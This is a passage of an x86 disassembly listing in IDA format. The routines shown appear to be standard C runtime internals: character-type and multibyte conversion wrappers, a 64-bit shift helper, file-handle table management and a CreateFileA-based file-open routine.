loc_42B9BC:				; CODE XREF: sub_42B97D+36j
					; sub_42B97D+C1j
		push	1
		pop	eax
		jmp	short loc_42B9A2
; ---------------------------------------------------------------------------


loc_42B9C1:				; CODE XREF: sub_42B97D+2Fj
		mov	ecx, off_449838
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42BA1F
		mov	eax, dword_449A44
		cmp	eax, 1
		jle	short loc_42BA05
		cmp	[ebp+arg_8], eax
		jl	short loc_42BA0F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_6314D8
		call	dword_42F098	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_449A44
		jnz	short loc_42B9A2


loc_42BA05:				; CODE XREF: sub_42B97D+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42BA0F
		cmp	[esi+1], bl
		jnz	short loc_42B9A2


loc_42BA0F:				; CODE XREF: sub_42B97D+61j
					; sub_42B97D+8Bj ...
		call	sub_426528
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B9A2
; ---------------------------------------------------------------------------


loc_42BA1F:				; CODE XREF: sub_42B97D+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_6314D8
		call	dword_42F098	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_42B9BC
		jmp	short loc_42BA0F
sub_42B97D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42BA50	proc near		; CODE XREF: sub_425A04+797p
					; sub_425A04+7E7p
		cmp	cl, 40h
		jnb	short loc_42BA6A
		cmp	cl, 20h
		jnb	short loc_42BA60
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_42BA60:				; CODE XREF: sub_42BA50+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_42BA6A:				; CODE XREF: sub_42BA50+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_42BA50	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BA6F	proc near		; CODE XREF: sub_42647A+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42BABB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_42BA8D
		test	al, 80h
		jz	short loc_42BABB
		test	al, 2
		jnz	short loc_42BABB


loc_42BA8D:				; CODE XREF: sub_42BA6F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_42BA9A
		push	esi
		call	sub_42B7F1
		pop	ecx


loc_42BA9A:				; CODE XREF: sub_42BA6F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_42BAAA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42BABB
		inc	eax
		mov	[esi], eax


loc_42BAAA:				; CODE XREF: sub_42BA6F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_42BAC1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_42BAC7
		inc	eax
		mov	[esi], eax


loc_42BABB:				; CODE XREF: sub_42BA6F+9j
					; sub_42BA6F+18j ...
		or	eax, 0FFFFFFFFh


loc_42BABE:				; CODE XREF: sub_42BA6F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42BAC1:				; CODE XREF: sub_42BA6F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_42BAC7:				; CODE XREF: sub_42BA6F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42BABE
sub_42BA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BADD	proc near		; CODE XREF: sub_42653A+5Ep
					; sub_42ABB1+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F9E0
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_6315F8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_42BB4C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_42F620
		push	esi
		call	dword_42F178	; GetStringTypeW
		test	eax, eax
		jz	short loc_42BB2A
		mov	eax, esi
		jmp	short loc_42BB47
; ---------------------------------------------------------------------------


loc_42BB2A:				; CODE XREF: sub_42BADD+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_44D6A0
		push	esi
		push	ebx
		call	dword_42F17C	; GetStringTypeA
		test	eax, eax
		jz	loc_42BC12
		push	2
		pop	eax


loc_42BB47:				; CODE XREF: sub_42BADD+4Bj
		mov	dword_6315F8, eax


loc_42BB4C:				; CODE XREF: sub_42BADD+2Fj
		cmp	eax, 2
		jnz	short loc_42BB75
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_42BB5D
		mov	eax, dword_6314C8


loc_42BB5D:				; CODE XREF: sub_42BADD+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42F17C	; GetStringTypeA
		jmp	loc_42BC14
; ---------------------------------------------------------------------------


loc_42BB75:				; CODE XREF: sub_42BADD+72j
		cmp	eax, 1
		jnz	loc_42BC12
		cmp	[ebp+arg_10], ebx
		jnz	short loc_42BB8B
		mov	eax, dword_6314D8
		mov	[ebp+arg_10], eax


loc_42BB8B:				; CODE XREF: sub_42BADD+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_42F098	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_42BC12
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4220C0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4221F0
		add	esp, 0Ch
		jmp	short loc_42BBE1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_42BBE1:				; CODE XREF: sub_42BADD+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_42BC12
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_42F098	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_42BC12
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_42F178	; GetStringTypeW
		jmp	short loc_42BC14
; ---------------------------------------------------------------------------


loc_42BC12:				; CODE XREF: sub_42BADD+61j
					; sub_42BADD+9Bj ...
		xor	eax, eax


loc_42BC14:				; CODE XREF: sub_42BADD+93j
					; sub_42BADD+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42BADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BC26	proc near		; CODE XREF: sub_42BF9A:loc_42C112p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	12h
		or	edi, 0FFFFFFFFh
		call	sub_428436
		xor	ebx, ebx
		pop	ecx
		mov	[esp+18h+var_8], ebx
		mov	[esp+18h+var_4], ebx
		mov	ebp, offset dword_6319E0


loc_42BC46:				; CODE XREF: sub_42BC26+BCj
		mov	esi, [ebp+0]
		test	esi, esi
		jz	loc_42BCEA
		lea	eax, [esi+480h]


loc_42BC57:				; CODE XREF: sub_42BC26+8Aj
		cmp	esi, eax
		jnb	short loc_42BCCF
		test	byte ptr [esi+4], 1
		jnz	short loc_42BCA5
		cmp	dword ptr [esi+8], 0
		jnz	short loc_42BC8A
		push	11h
		call	sub_428436
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_42BC82
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_42F1CC	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_42BC82:				; CODE XREF: sub_42BC26+4Dj
		push	11h
		call	sub_428497
		pop	ecx


loc_42BC8A:				; CODE XREF: sub_42BC26+3Fj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	dword_42F140	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_42BCB2
		push	ebx
		call	dword_42F144	; RtlLeaveCriticalSection
		mov	ebx, [esp+18h+var_8]


loc_42BCA5:				; CODE XREF: sub_42BC26+39j
		mov	eax, [ebp+0]
		add	esi, 24h
		add	eax, 480h
		jmp	short loc_42BC57
; ---------------------------------------------------------------------------


loc_42BCB2:				; CODE XREF: sub_42BC26+72j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, [ebp+0]
		push	24h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, eax
		add	edi, [esp+18h+var_4]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42BD38
		mov	ebx, [esp+18h+var_8]


loc_42BCCF:				; CODE XREF: sub_42BC26+33j
		add	[esp+18h+var_4], 20h
		add	ebp, 4
		inc	ebx
		cmp	ebp, offset dword_631AE0
		mov	[esp+18h+var_8], ebx
		jl	loc_42BC46
		jmp	short loc_42BD38
; ---------------------------------------------------------------------------


loc_42BCEA:				; CODE XREF: sub_42BC26+25j
		mov	esi, 480h
		push	esi
		call	sub_422F79
		test	eax, eax
		pop	ecx
		jz	short loc_42BD38
		add	dword_631AE0, 20h
		lea	ecx, ds:6319E0h[ebx*4]
		lea	edx, [eax+480h]
		mov	[ecx], eax


loc_42BD10:				; CODE XREF: sub_42BC26+104j
		cmp	eax, edx
		jnb	short loc_42BD2C
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 24h
		add	edx, esi
		jmp	short loc_42BD10
; ---------------------------------------------------------------------------


loc_42BD2C:				; CODE XREF: sub_42BC26+ECj
		shl	ebx, 5
		mov	edi, ebx
		push	edi
		call	sub_42BE86
		pop	ecx


loc_42BD38:				; CODE XREF: sub_42BC26+A3j
					; sub_42BC26+C2j ...
		push	12h
		call	sub_428497
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_42BC26	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BD49	proc near		; CODE XREF: sub_42BF9A+1FDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_631AE0
		push	edi
		jnb	short loc_42BDAC
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:6319E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [eax+esi], 0FFFFFFFFh
		jnz	short loc_42BDAC
		cmp	dword_4496B4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42BDA2
		sub	ecx, 0
		jz	short loc_42BD99
		dec	ecx
		jz	short loc_42BD94
		dec	ecx
		jnz	short loc_42BDA2
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_42BD9C
; ---------------------------------------------------------------------------


loc_42BD94:				; CODE XREF: sub_42BD49+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_42BD9C
; ---------------------------------------------------------------------------


loc_42BD99:				; CODE XREF: sub_42BD49+3Ej
		push	ebx
		push	0FFFFFFF6h


loc_42BD9C:				; CODE XREF: sub_42BD49+49j
					; sub_42BD49+4Ej
		call	dword_42F174	; SetStdHandle


loc_42BDA2:				; CODE XREF: sub_42BD49+39j
					; sub_42BD49+44j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42BDC2
; ---------------------------------------------------------------------------


loc_42BDAC:				; CODE XREF: sub_42BD49+Cj
					; sub_42BD49+2Bj
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42BDC2:				; CODE XREF: sub_42BD49+61j
		pop	edi
		pop	esi
		retn
sub_42BD49	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BDC5	proc near		; CODE XREF: sub_426641+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_631AE0
		push	edi
		jnb	short loc_42BE2B
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:6319E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42BE2B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42BE2B
		cmp	dword_4496B4, 1
		jnz	short loc_42BE21
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_42BE18
		dec	ecx
		jz	short loc_42BE13
		dec	ecx
		jnz	short loc_42BE21
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42BE1B
; ---------------------------------------------------------------------------


loc_42BE13:				; CODE XREF: sub_42BDC5+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42BE1B
; ---------------------------------------------------------------------------


loc_42BE18:				; CODE XREF: sub_42BDC5+41j
		push	eax
		push	0FFFFFFF6h


loc_42BE1B:				; CODE XREF: sub_42BDC5+4Cj
					; sub_42BDC5+51j
		call	dword_42F174	; SetStdHandle


loc_42BE21:				; CODE XREF: sub_42BDC5+3Bj
					; sub_42BDC5+47j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42BE41
; ---------------------------------------------------------------------------


loc_42BE2B:				; CODE XREF: sub_42BDC5+Cj
					; sub_42BDC5+2Dj ...
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_42BE41:				; CODE XREF: sub_42BDC5+64j
		pop	edi
		pop	esi
		retn
sub_42BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BE44	proc near		; CODE XREF: sub_426641+7p
					; sub_426641+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_631AE0
		jnb	short loc_42BE6F
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_6319E0[ecx*4]
		test	byte ptr [ecx+eax*4+4],	1
		lea	eax, [ecx+eax*4]
		jz	short loc_42BE6F
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_42BE6F:				; CODE XREF: sub_42BE44+Aj
					; sub_42BE44+26j
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_42BE44	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BE86	proc near		; CODE XREF: sub_4265E4+2Ap
					; sub_426902+2Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		push	esi
		push	edi
		mov	esi, dword_6319E0[ecx*4]
		lea	ebx, ds:6319E0h[ecx*4]
		lea	edi, [eax+eax*8]
		shl	edi, 2
		add	esi, edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_42BED4
		push	11h
		call	sub_428436
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_42BECC
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_42F1CC	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_42BECC:				; CODE XREF: sub_42BE86+37j
		push	11h
		call	sub_428497
		pop	ecx


loc_42BED4:				; CODE XREF: sub_42BE86+29j
		mov	eax, [ebx]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	dword_42F140	; RtlEnterCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42BE86	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BEE5	proc near		; CODE XREF: sub_4265E4+38p
					; sub_426902+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	dword_42F144	; RtlLeaveCriticalSection
		retn
sub_42BEE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BF07	proc near		; CODE XREF: sub_4266EF+1Ep

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_631AE0
		push	esi
		push	edi
		jnb	short loc_42BF88
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:6319E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 1
		jz	short loc_42BF88
		push	ebx
		call	sub_42BE86
		mov	eax, [edi]
		pop	ecx
		test	byte ptr [eax+esi+4], 1
		jz	short loc_42BF6F
		push	ebx
		call	sub_42BE44
		pop	ecx
		push	eax
		call	dword_42F170	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_42BF62
		call	dword_42F068	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_42BF64
; ---------------------------------------------------------------------------


loc_42BF62:				; CODE XREF: sub_42BF07+4Fj
		xor	esi, esi


loc_42BF64:				; CODE XREF: sub_42BF07+59j
		test	esi, esi
		jz	short loc_42BF7D
		call	sub_426531
		mov	[eax], esi


loc_42BF6F:				; CODE XREF: sub_42BF07+3Dj
		call	sub_426528
		mov	dword ptr [eax], 9
		or	esi, 0FFFFFFFFh


loc_42BF7D:				; CODE XREF: sub_42BF07+5Fj
		push	ebx
		call	sub_42BEE5
		pop	ecx
		mov	eax, esi
		jmp	short loc_42BF96
; ---------------------------------------------------------------------------


loc_42BF88:				; CODE XREF: sub_42BF07+Dj
					; sub_42BF07+2Dj
		call	sub_426528
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_42BF96:				; CODE XREF: sub_42BF07+7Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42BF07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BF9A	proc near		; CODE XREF: sub_426DD4+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_42BFC0
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42BFCB
; ---------------------------------------------------------------------------


loc_42BFC0:				; CODE XREF: sub_42BF9A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42BFCB:				; CODE XREF: sub_42BF9A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_42BFE5
		test	ch, 40h
		jnz	short loc_42BFE1
		cmp	dword_631730, eax
		jz	short loc_42BFE5


loc_42BFE1:				; CODE XREF: sub_42BF9A+3Dj
		or	[ebp+var_1], 80h


loc_42BFE5:				; CODE XREF: sub_42BF9A+38j
					; sub_42BF9A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_42C00C
		dec	eax
		jz	short loc_42C003
		dec	eax
		jnz	loc_42C09E
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_42C013
; ---------------------------------------------------------------------------


loc_42C003:				; CODE XREF: sub_42BF9A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_42C013
; ---------------------------------------------------------------------------


loc_42C00C:				; CODE XREF: sub_42BF9A+54j
		mov	[ebp+var_C], 80000000h


loc_42C013:				; CODE XREF: sub_42BF9A+67j
					; sub_42BF9A+70j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_42C041
		cmp	eax, 20h
		jz	short loc_42C038
		cmp	eax, 30h
		jz	short loc_42C02F
		cmp	eax, 40h
		jnz	short loc_42C09E
		mov	[ebp+var_10], esi
		jmp	short loc_42C044
; ---------------------------------------------------------------------------


loc_42C02F:				; CODE XREF: sub_42BF9A+89j
		mov	[ebp+var_10], 2
		jmp	short loc_42C044
; ---------------------------------------------------------------------------


loc_42C038:				; CODE XREF: sub_42BF9A+84j
		mov	[ebp+var_10], 1
		jmp	short loc_42C044
; ---------------------------------------------------------------------------


loc_42C041:				; CODE XREF: sub_42BF9A+7Fj
		mov	[ebp+var_10], ebx


loc_42C044:				; CODE XREF: sub_42BF9A+93j
					; sub_42BF9A+9Cj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_42C08A
		jz	short loc_42C085
		cmp	ecx, ebx
		jz	short loc_42C085
		cmp	ecx, edi
		jz	short loc_42C07C
		cmp	ecx, 200h
		jz	short loc_42C0B8
		cmp	ecx, 300h
		jnz	short loc_42C09E
		mov	[ebp+var_8], 2
		jmp	short loc_42C0C8
; ---------------------------------------------------------------------------


loc_42C07C:				; CODE XREF: sub_42BF9A+C7j
		mov	[ebp+var_8], 4
		jmp	short loc_42C0C8
; ---------------------------------------------------------------------------


loc_42C085:				; CODE XREF: sub_42BF9A+BFj
					; sub_42BF9A+C3j
		mov	[ebp+var_8], esi
		jmp	short loc_42C0C8
; ---------------------------------------------------------------------------


loc_42C08A:				; CODE XREF: sub_42BF9A+BDj
		cmp	ecx, 500h
		jz	short loc_42C0C1
		cmp	ecx, 600h
		jz	short loc_42C0B8
		cmp	ecx, edx
		jz	short loc_42C0C1


loc_42C09E:				; CODE XREF: sub_42BF9A+5Aj
					; sub_42BF9A+8Ej ...
		call	sub_426528
		mov	dword ptr [eax], 16h
		call	sub_426531
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh
		jmp	loc_42C264
; ---------------------------------------------------------------------------


loc_42C0B8:				; CODE XREF: sub_42BF9A+CFj
					; sub_42BF9A+FEj
		mov	[ebp+var_8], 5
		jmp	short loc_42C0C8
; ---------------------------------------------------------------------------


loc_42C0C1:				; CODE XREF: sub_42BF9A+F6j
					; sub_42BF9A+102j
		mov	[ebp+var_8], 1


loc_42C0C8:				; CODE XREF: sub_42BF9A+E0j
					; sub_42BF9A+E9j ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_42C0E7
		mov	ecx, dword_631468
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_42C0E7
		push	1
		pop	esi


loc_42C0E7:				; CODE XREF: sub_42BF9A+138j
					; sub_42BF9A+148j
		test	al, 40h
		jz	short loc_42C0F5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_42C0F5:				; CODE XREF: sub_42BF9A+14Fj
		test	ah, 10h
		jz	short loc_42C0FC
		or	esi, edi


loc_42C0FC:				; CODE XREF: sub_42BF9A+15Ej
		test	al, 20h
		jz	short loc_42C108
		or	esi, 8000000h
		jmp	short loc_42C112
; ---------------------------------------------------------------------------


loc_42C108:				; CODE XREF: sub_42BF9A+164j
		test	al, 10h
		jz	short loc_42C112
		or	esi, 10000000h


loc_42C112:				; CODE XREF: sub_42BF9A+16Cj
					; sub_42BF9A+170j
		call	sub_42BC26
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42C13A
		call	sub_426528
		mov	dword ptr [eax], 18h
		call	sub_426531
		and	dword ptr [eax], 0
		mov	eax, edi
		jmp	loc_42C264
; ---------------------------------------------------------------------------


loc_42C13A:				; CODE XREF: sub_42BF9A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_42F060	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_42C16D


loc_42C159:				; CODE XREF: sub_42BF9A+1E5j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		call	sub_4264B5
		pop	ecx
		mov	esi, edi
		jmp	loc_42C25B
; ---------------------------------------------------------------------------


loc_42C16D:				; CODE XREF: sub_42BF9A+1BDj
		push	esi
		call	dword_42F1D0	; GetFileType
		test	eax, eax
		jnz	short loc_42C181
		push	esi
		call	dword_42F038	; CloseHandle
		jmp	short loc_42C159
; ---------------------------------------------------------------------------


loc_42C181:				; CODE XREF: sub_42BF9A+1DCj
		cmp	eax, 2
		jnz	short loc_42C18C
		or	[ebp+var_1], 40h
		jmp	short loc_42C195
; ---------------------------------------------------------------------------


loc_42C18C:				; CODE XREF: sub_42BF9A+1EAj
		cmp	eax, 3
		jnz	short loc_42C195
		or	[ebp+var_1], 8


loc_42C195:				; CODE XREF: sub_42BF9A+1F0j
					; sub_42BF9A+1F5j
		push	esi
		push	ebx
		call	sub_42BD49
		mov	eax, ebx
		pop	ecx
		sar	eax, 5
		pop	ecx
		mov	cl, [ebp+var_1]
		lea	edi, ds:6319E0h[eax*4]
		mov	eax, ebx
		or	cl, 1
		and	eax, 1Fh
		mov	byte ptr [ebp+arg_0+3],	cl
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[eax+esi+4], cl
		jnz	short loc_42C242
		test	cl, 80h
		jz	short loc_42C242
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_42C242
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_426D61
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42C203
		call	sub_426531
		cmp	dword ptr [eax], 83h
		jz	short loc_42C242


loc_42C1F7:				; CODE XREF: sub_42BF9A+294j
					; sub_42BF9A+2A6j
		push	ebx
		call	sub_4265E4
		pop	ecx
		or	esi, 0FFFFFFFFh
		jmp	short loc_42C25B
; ---------------------------------------------------------------------------


loc_42C203:				; CODE XREF: sub_42BF9A+24Ej
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_426967
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42C230
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_42C230
		push	[ebp+var_10]
		push	ebx
		call	sub_42D6D7
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42C1F7


loc_42C230:				; CODE XREF: sub_42BF9A+27Ej
					; sub_42BF9A+284j
		push	0
		push	0
		push	ebx
		call	sub_426D61
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C1F7


loc_42C242:				; CODE XREF: sub_42BF9A+22Ej
					; sub_42BF9A+233j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_42C259
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_42C259
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_42C259:				; CODE XREF: sub_42BF9A+2ACj
					; sub_42BF9A+2B2j
		mov	esi, ebx


loc_42C25B:				; CODE XREF: sub_42BF9A+1CEj
					; sub_42BF9A+267j
		push	ebx
		call	sub_42BEE5
		pop	ecx
		mov	eax, esi


loc_42C264:				; CODE XREF: sub_42BF9A+119j
					; sub_42BF9A+19Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42BF9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C269	proc near		; CODE XREF: sub_42C29E+Ep

var_4		= dword	ptr -4
